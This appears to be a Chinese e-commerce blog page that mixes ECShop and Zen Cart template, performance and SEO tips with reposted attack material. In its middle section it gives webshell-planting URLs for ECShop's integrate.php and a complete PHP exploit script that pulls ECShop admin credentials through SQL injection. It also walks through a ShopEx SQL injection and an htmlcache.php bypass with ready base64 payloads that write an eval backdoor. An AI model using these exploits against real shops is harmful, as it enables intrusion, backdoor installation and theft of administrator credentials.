分享电子商务心得

日志分类:电子商务程序优化

首先,在库目录里增加一个文件:Newcomments.lbi 将以下内容加入此文件:

<?php
if(!function_exists(”get_comments”)){
function get_comments($num)
{
   $sql = ‘Select * FROM ecs_comment ‘.
            ‘ Where status = 1 AND parent_id = 0 and comment_type=0 ‘.
            ‘ orDER BY add_time DESC’;
  if ($num > 0)
  {
   $sql .= ‘ LIMIT ‘ . $num;
  }
  //echo $sql;
       
  $res = $GLOBALS['db']->getAll($sql);
  $comments = array();
  foreach ($res AS $idx => $row)
  {

   $comments[$idx]['user_name']       = $row['user_name'];
   $comments[$idx]['content']       = $row['content'];
            $comments[$idx]['id_value']       = $row['id_value'];

  }
  return $comments;
}
}

?>

<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″>

       <!–数据调用-最新评论开始 –>      
    <?php
        $this->assign(’my_comments’,get_comments(5)); // 5代表会条数据
    ?>        
此处是循环输出评论内容:
<!–{foreach from=$my_comments item=comments}–>
      <li><a href=”goods.php?id={$comments.id_value}” target=”_blank”>{$comments.content|truncate:10:”"}</a></li>
      <!–{/foreach}–>

然后以上内容只是功能显示,在相应处加入你需要的样式即可。
最后,首页调用此库文件就可以了.

<!– #BeginLibraryItem “/library/Newcomments.lbi” –>  <!– #EndLibraryItem –>

调用某个分类下的商品,方法有很多种的,不过都需要先在后台设置模板那里设置显示和显示条数,
然后在需要调用的模板里放上相应的代码即可:
1、比如:
<?php $this->assign(’cat_goods’,$this->_var['cat_goods_15']); ?><?php $this->assign(’goods_cat’,$this->_var['goods_cat_15']); ?><?php echo $this->fetch(’library/cat_goods.lbi’); ?>

上面的15就是某个要调用的栏目ID值.把它改成其他你要调用的分类ID值即可.

2、这是第二种:
          <!–{foreach from=$cat_goods_14 item=goods}–>
          <div class=”xgoods”>
            <div class=”img”><a href=”{$goods.url}” target=”_blank”><img src=”{$goods.thumb}” alt=”{$goods.name|escape:html}” width=”67″ height=”56″ border=”0″ class=”imgb”/></a></div>
            <div class=”name”><a href=”{$goods.url}” target=”_blank”>{$goods.short_name|escape:html|truncate:10}</a><br />
              <span class=”fontr fontb fontbig”>{$goods.shop_price}</span></div>
          </div>
          <!–{/foreach}–>

说明:上面的$cat_goods_14 ,其中14就是你想要调用的栏目ID值,把它改成你要调用的栏目ID值即可。

3、第三种:先在要调用的模板里设置区域,比如:
<!– TemplateBeginEditable name=”某分类区域” –><!– TemplateEndEditable –>
然后在后台设置模板那里增加分类显示时选此区域即可。

 

一、需要修改category.php。

修改get_cat_info,增加cat_name,修改后如下

function get_cat_info($cat_id)
{
    return $GLOBALS['db']->getRow(’SELECT keywords, cat_desc, style, grade, filter_attr, parent_id ,cat_name FROM ‘ . $GLOBALS['ecs']->table(’category’) .
        " WHERE cat_id = ‘$cat_id’");
}

目的是通过get_cat_info 函数从数据库中读出目录名称

在80行附近。

if (!empty($cat))
{
    $smarty->assign(’keywords’,    htmlspecialchars($cat['keywords']));
    $smarty->assign(’description’, htmlspecialchars($cat['cat_desc']));
    $smarty->assign(’cat_style’,   htmlspecialchars($cat['style']));
    $smarty->assign(’cat_name’,   htmlspecialchars($cat['cat_name']));

}

 

把目录名称分配到模板。

二、在模板文件category.dwt里面用{$cat_name}标签就可以调用了。

ECSHOP是一款开源免费的网上商店系统。由专业的开发团队升级维护,为您提供及时高效的技术支持,您还可以根据自己的商务特征对ECSHOP进行定制,增加自己商城的特色功能。(官方介绍)

ECSHOP前段时间出了个注射漏洞:http://bbs.wolvez.org/topic/67/,拿后台权限应该没有问题,但文章没有提及如何在后台拿shell。昨天可乐在t00ls.Net上发帖问如何拿shell,无聊中我baidu、 google了下,网上貌似没有拿shell的办法。好久没读代码了,无聊中下了ECSHOP最新版(V2.6.2)的源码过来读,很庆幸,给我找到一个可以直接写shell的文件。与注射一样,同样是个变化未初始化导致的问题,于是,同样只能用在register_globals为on的环境下。
integrate.php第740行起:

if ($_REQUEST['act'] == ’sync’)
{
$size = 100;

……

$tasks = array();
if ($task_del > 0)
{
$tasks[] = array(’task_name’=>sprintf($_LANG['task_del'], $task_del),’task_status’=>’<span id=”task_del”>’ . $_LANG['task_uncomplete'] . ‘<span>’);
$sql = “SELECT user_name FROM ” . $ecs->table(’users’) . ” WHERE flag = 2″;
$del_list = $db->getCol($sql);//$del_list未初始化,转载请注明来自:www.oldjun.com
}

if ($task_rename > 0)
{
$tasks[] = array(’task_name’=>sprintf($_LANG['task_rename'], $task_rename),’task_status’=>’<span id=”task_rename”>’ . $_LANG['task_uncomplete'] . ‘</span>’);
$sql = “SELECT user_name, alias FROM ” . $ecs->table(’users’) . ” WHERE flag = 3″;
$rename_list = $db->getAll($sql);//$rename_list未初始化,转载请注明来自:www.oldjun.com
}

if ($task_ignore >0)
{
$sql = “SELECT user_name FROM ” . $ecs->table(’users’) . ” WHERE flag = 4″;
$ignore_list = $db->getCol($sql);//$ignore_list未初始化,转载请注明来自:www.oldjun.com
}

……

/* 保存修改日志 */
$fp = @fopen(ROOT_PATH . DATA_DIR . ‘/integrate_’ . $_SESSION['code'] . ‘_log.php’, ‘wb’);
$log = ”;
if (isset($del_list))
{
$log .= ‘$del_list=’ . var_export($del_list,true) . ‘;’;
}
if (isset($rename_list))
{
$log .= ‘$rename_list=’ . var_export($rename_list, true) . ‘;’;
}
if (isset($ignore_list))
{
$log .= ‘$ignore_list=’ . var_export($ignore_list, true) . ‘;’;
}
//未做过滤,直接写log,转载请注明来自:www.oldjun.com
fwrite($fp, $log);
fclose($fp);

$smarty->assign(’tasks’, $tasks);
$smarty->assign(’ur_here’,$_LANG['user_sync']);
$smarty->assign(’size’, $size);
$smarty->display(’integrates_sync.htm’);
}$del_list、$rename_list、$ignore_list均没有初始化,于是,均可以直接写shell。

利用方法:

http://www.oldjun.com/admin/integrate.php?act=sync&del_list=<?php%20eval($_POST[cmd])?>
http://www.oldjun.com/admin/integrate.php?act=sync&rename_list=<?php%20eval($_POST[cmd])?>
http://www.oldjun.com/admin/integrate.php?act=sync&ignore_list=<?php%20eval($_POST[cmd])?>三个链接,随便输入一个就可以了,生成http://www.oldjun.com/data/integrate__log.php,就是一句话小马了~
本篇文章来源于 黑客基地-全球最大的中文黑客站 原文链接:http://www.hackbase.com/tech/2009-04-09/52118.html

影响2.5.x和2.6.x,其他版本未测试

goods_script.php44行:
    if (empty($_GET['type']))
    {
        …
    }
    elseif ($_GET['type'] == ‘collection’)
    {
        …
    }
    $sql .= ” LIMIT ” . (!empty($_GET['goods_num']) ? intval($_GET['goods_num']) : 10);
    $res = $db->query($sql);$sql没有初始化,很明显的一个漏洞:)

EXP:

#!/usr/bin/php
<?php

print_r(’
+—————————————————————————+
ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot com
team: http://bbs.wolvez.org
dork: “Powered by ECShop”
+—————————————————————————+
‘);
/**
 * works with register_globals = On
 */
if ($argc < 3) {
    print_r(’
+—————————————————————————+
Usage: php ‘.$argv[0].’ host path
host:      target server (ip/hostname)
path:      path to ecshop
Example:
php ‘.$argv[0].’ localhost /ecshop/
+—————————————————————————+
‘);
    exit;
}

error_reporting(7);
ini_set(’max_execution_time’, 0);

$host = $argv[1];
$path = $argv[2];

$resp = send();
preg_match(’#href=”([\S]+):([a-z0-9]{32})”#’, $resp, $hash);

if ($hash)
    exit(”Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n”);
else
    exit(”Exploit Failed!\n”);

function send()
{
    global $host, $path;

    $cmd = ’sql=SELECT CONCAT(user_name,0×3a,password) as goods_id FROM ecs_admin_user WHERE action_list=0x’.bin2hex(’all’).’ LIMIT 1#’;

    $data = “POST “.$path.”goods_script.php?type=”.time().”  HTTP/1.1\r\n”;
    $data .= “Accept: */*\r\n”;
    $data .= “Accept-Language: zh-cn\r\n”;
    $data .= “Content-Type: application/x-www-form-urlencoded\r\n”;
    $data .= “User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n”;
    $data .= “Host: $host\r\n”;
    $data .= “Content-Length: “.strlen($cmd).”\r\n”;
    $data .= “Connection: Close\r\n\r\n”;
    $data .= $cmd;

    $fp = fsockopen($host, 80);
    fputs($fp, $data);

    $resp = ”;

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}

?>
本篇文章来源于 黑客基地-全球最大的中文黑客站 原文链接:http://www.hackbase.com/tech/2009-03-28/51877.html

shopex4.7.2漏洞 转帖

2009-04-28 22:12  |  分类:电子商务程序优化

我是无名,这次写一个shopex4.7.2漏洞,

已经通知了官方,今天就发出来,

首先syssite/shopadmin/order_service.php后台这个文件没有验证用户身份,

重要的是$v_id参数没有过滤

以下是引用片段:
syssite/shopadmin/order_service.php?m_id=1&key=986078fbe1474d61464d08535f1002a8&&v_id=1+and+1=2+union+select+concat(username,0×20,userpass),2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4+from+sdb_mall_offer_operater%23

直接获取管理员账号密码md5自己解,字段数不对用order by 猜,有的站只能显示出来前14位,就用left(password,14) mid(password,15,4) right(password,14) 合起来就是完整的32位密码了

如果表名改了,mysql 5.0以上版本自己爆,相关内容不再叙述

登陆后台,接下来讲shell获取部分,(普通管理员一样利用)

分析根目录下htmlcache.php

分析代码的朋友注意了,

以下是引用片段: $url = base64_decode( $_GET[’url’] ); $filename = base64_decode( $_GET[’filename’] ); $signcode = $_GET[’signcode’]; $verifycode = md5( $url.$filename."1e236443e5a30b09910e0d48c994b8e6" ); if ( $_cvar[’seoCacheTime’] == "0" ) { exit( ); }

变量 url  filename 提交的时候用base64 加密,

下面几句

以下是引用片段:
if ( $_cvar[’seoCacheTime’] == ”0″ )
{
exit( );
}
if ( substr( $filename, 0, 3 ) == ”../” )
{
exit( );
}
if ( $verifycode != $signcode )
{
exit( );
}

$filename 不能有 ../

$verifycode 要等于$signcode

$_cvar['seoCacheTime'] 在syssite\home\shop\1\shop.cache.php有定义,默认是0

前面几个很容易就绕过去了,$_cvar['seoCacheTime'] 我在后台里一直没有找到在哪里设置,

分析代码发现,进入后台,直接在url后面输入syssite/shopadmin/admin_seo_act.php?act=savecachetime&seocachetime=60

设置seocachetime为60

好了,条件满足,开始获取shell

base64分别加密
http://你的url/test.txt 为$url变量,()
123.php         为$filename变量
$signcode是url+filename+1e236443e5a30b09910e0d48c994b8e6 的32位md5值

其实url完全不用获取test.txt内容的,有时候会获取不成功,
url直接写成http://www.baidu.com/<?php eval($_POST[cmd]);?> base64加密就行了

加密结果

url   aHR0cDovL3d3dy5iYWlkdS5jb20vPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=
filename MTIzLnBocA==
signcode 186350a50934cb17b9bc47f5e067adbe

最后提交

以下是引用片段:
htmlcache.php?url=aHR0cDovL3d3dy5iYWlkdS5jb20vPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=&filename=MTIzLnBocA==&signcode=186350a50934cb17b9bc47f5e067adbe

直接在根目录生成123.php内容为一句话后门,密码cmd

这里只是技术讨论,任何利用本文章做破坏的,本人概不负责

最近我发现我制作的两个模版,仿Dhgate模版和仿Overstock的模版在列表页的最后一个商品的位置上经常会多出一个空商品,在换成默认模版以后空商品消失。我在列表页模版的商品图片和商品属性部分用

 <!– {if $goods.goods_id} –>
商品图片

商品属性

 <!– {/if} –>

代码框起来,问题解决。

接上篇,ecshop在商品数量超过5万时就报内存耗尽的错误,其实把/admin/includes/init.php以及/includes/init.php 中的初始化配置

@ini_set(’memory_limit’,          ‘64M’);

64m改大一些,ecshop就可以支持更多的商品数量。我测试过改成128m,5万商品没有问题,改成256m,10万商品美元问题,但是到了这个数量级的商品,后台的列表变的挺慢,但是还是可以使用的。我测试的是2.61utf版,2.62好像还不如2.61.

最近我的英文站上线了。比较缺少外链,我的一贯做法是自力更生,自给自足,那么链接支持站需要很多的页面,去采集其他的网站为我所不屑,就打起了联盟的主意,从feedshare下载了一部分overstock的产品,算了一下有将近20万条,想来做站群已经足够。我直接下了csv文件,因为下载的格式和ecshop需要的不同,不能导入,需要修改一下,我找了一个小软件CSV Splitter 把文件分成4个,每个5万行左右,用execl就可以编辑了。因为即使经过分割文件还有10多M一个,phpmyadmin不好使,所以编辑好了以后我用xls2sql导入数据库。

在phpmyadmin里面看数据库已经ok了,数据都在里面,进入ecshop后台,都是正常的,进入前台,首页和列表页是正常的,商品详情页不能打开,报错如下

Fatal error: Maximum execution time of 30 seconds exceeded in E:\now\vhosts\u.com\includes\cls_mysql.php on line 267

我上网找了一下,有好多人都是一样的问题。版本是ecshop 2.61utf版。正好2.62正式版也出来了。我装上试了一把,这回倒是可以看了,我在后台设置了url重写,清除缓存以后,前台挂了。再恢复动态链接也不能起来了。就报缓存耗尽的错。

Zen cart是最好的网店程序之一,但与生俱来的一些程序问题干扰了站内搜索引擎优化。所以需要通过插件的应用及2次开发来达到我们更好的通过搜索引擎销售产品的目的。

1>测试首页、频道页、内页的meta属性(主要包括标题、描述与关键词以及版权等信息),根据页面匹配性,将关键词有效的布局在每个页面内,最好可以达到自由编写的水平。
2>正确书写robots.txt和站内nofollow属性,屏蔽部分与页面优化冲突或者不应被搜索引擎抓捕的目录和页面。
3>保证多种语言版本网站内容的收录和有效索引:
Google网站管理员指南明确指出:“允许搜索蜘蛛机器人在不采用会跟踪其在网站上浏览路径的会话 ID 或参数的情况下抓取您的网站。这些技术对跟踪单个用户的行为非常有用,但蜘蛛机器人的访问模式却完全不同。”比如zencart程序产生的index.php?main_page=site_map与index.php?main_page=site_map&language=gb内容完全一致,导致重复页面的产生,显然会降低整个网站在搜索引擎算法评估中得出的质量。解决方法可以参考本文2>提到的方式。
4>针对性强的页面静态化并使其具有良好的结构(注意控制路径长度,例如由Ethan开发的 SEO3.0模块提供了简单模式和Diy模式两种url模式):以产品和产品目录页面为核心,构建核心明确、相关度高的站内结构;产业页面内容唯一、不与其他页面重复;站内导入链接无误,由于更新等原因失效的错误页面使用404.htm;重要的产品及目录页面在网站大型调整后要保证url不变,已做变化的需要将原路径301永久重定向到新页面;首页确定主域名后,其他域名301定向到主域名。
5>适合中英文等不同语言包的优化插件。
6>生成sitemap或rss feed并提交。

相关问题的解决方法:安装优化插件

Yahoo! Product Submit Feeder
下载:http://www.zen-cart.com/index.php?main_page=product_contrib_info&products_id=841
用于提交网站产品到雅虎搜索引擎在线营销商务数据库(具体介绍见
http://searchmarketing.yahoo.com/shopsb/shpsb_specs.php)

Ultimate SEO URLs
下载:http://www.zen-cart.com/index.php?main_page=product_contrib_info&products_id=231
用于站内相关页面地址静态化

Tabbed Products Pro
下载:http://www.zen-cart.com/index.php?main_page=product_contrib_info&products_id=924
用于优化分类及产品页面Meta等标签

Swap Images via MouseOver or Click
下载:http://www.zen-cart.com/index.php?main_page=product_contrib_info&products_id=311
用于提高产品展示的用户体验,简化浏览过程

Simple SEO URL
下载:http://www.zen-cart.com/index.php?main_page=product_contrib_info&products_id=1013
用于转换页面路径形式,以频道形式优化url

EZ pages rel=nofollow attribute
下载:http://www.zen-cart.com/index.php?main_page=product_contrib_info&products_id=944
用于更好的控制页面抓取和索引

css-buttons
下载:http://www.zen-cart.com/index.php?main_page=product_contrib_info&products_id=272
优化模板图片,提高页面浏览速度

Bidhopper Dynalist Generator
下载:http://www.zen-cart.com/index.php?main_page=product_contrib_info&products_id=840
用于提交产品到bidhopper.com(一个基于美国用户的分类产品及相关价格的商业搜索引擎)

Live help 1.2
下载:http://www.zen-cart.cn/forum/topic4466.html

更多seo及用户体验插件详见:
http://www.zen-cart.com/index.php?main_page=index&cPath=40&zenid=fa8f24307bfa5e0824e7da03812d9e50

商业插件:
http://www.magic-seo-url.com/zencart/
介绍见:http://www.magic-seo-url.com/zencart/features.html

经过以上的调整,我们可以使基于Zen Cart程序的站点达到以下水平:

1>保证站内有效页面在各个搜索引擎的索引数量。
2>通过在线统计系统或者分析logfiles得到产品的销售规律。
3>追踪排名变化,根据竞争对手的情况有效调整推广方案。
4>排除重复或类容页面对站点各关键词排名的影响,有效提高页面pr。
5>在流量及排名的稳定的情况下,分析网站用户体验(比如搜索、联系方式、交易方式等)对客户转化率的影响,适时调整。
6>对站外优化提出最大工作量的细节要求,定期定量的完成链接打造等指标。

Pages: 1 2 Next